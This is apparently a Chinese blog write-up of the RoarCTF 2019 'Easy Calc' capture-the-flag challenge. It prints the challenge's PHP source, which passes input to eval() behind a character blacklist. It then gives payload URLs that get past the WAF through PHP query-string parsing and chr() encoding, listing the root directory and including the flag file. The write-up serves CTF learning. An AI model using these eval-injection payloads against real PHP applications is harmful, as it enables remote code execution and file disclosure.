码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • web:[RoarCTF 2019]Easy Calc


    题目

    进入页面是一个计算器的页面

    随便试了一下

    查看源代码看看有什么有用的信息

    访问一下这个calc.php

    进行代码审计

    1. error_reporting(0);
    2. if(!isset($_GET['num'])){
    3. show_source(__FILE__);
    4. }else{
    5. $str = $_GET['num'];
    6. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    7. //黑名单,传入参数num,eval()函数进行代码执行,会对输入的字符进行拦截,根据源代码中的提示可知有waf对输入参数进行了过滤
    8. foreach ($blacklist as $blackitem) {
    9. if (preg_match('/' . $blackitem . '/m', $str)) {
    10. die("what are you want to do?");
    11. }
    12. }
    13. eval('echo '.$str.';');
    14. }
    15. ?>

    这里利用到了php的字符串解析特性,还有两个函数scandir()和var_dump()函数

    由上述代码审计可知,拦截了“/”,可以尝试使用chr来绕过黑名单

    这里chr()是1-255的整数数字,对应的是ascii值,chr(47)等价于“/”

    构造payload

    /calc.php?%20num=var_dump(scandir(chr(47)))

    可得

    知道了文件名为f1agg

    构造payload

    /calc.php?%20num=var_dump(include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

    得到flag

     

    总结

    1.php的字符串解析特性

    我们知道PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_POST。例如:/?foo=bar变成Array([foo]=> “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id]=> 42)

    2.scandir()函数

    3.var_dump()函数

    参考文章链接:

    [复现] [RoarCTF 2019]Easy Calc-腾讯云开发者社区-腾讯云

  • 相关阅读:
    第六章 文件的其他操作命令
    3D 线激光相机的激光条纹中心提取方法
    房地产行业程序员管理痛点分析
    【Java SE】“方法”论 — 《方法的重载与递归》
    21天打卡挑战学习MySQL——《监控神器Zabbix部署》第三周 第九篇
    [Unity]动态修改URP资源的相关参数
    el-table中点击跳转到详情页的两种方法
    Postman的接口测试和持续集成——接口测试方法论
    C++——关键字|命名空间|输入&输出|缺省参数|函数重载|引用
    mysql的锁分类:表锁和行锁和页面锁
  • 原文地址:https://blog.csdn.net/gsumall04/article/details/133365162
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号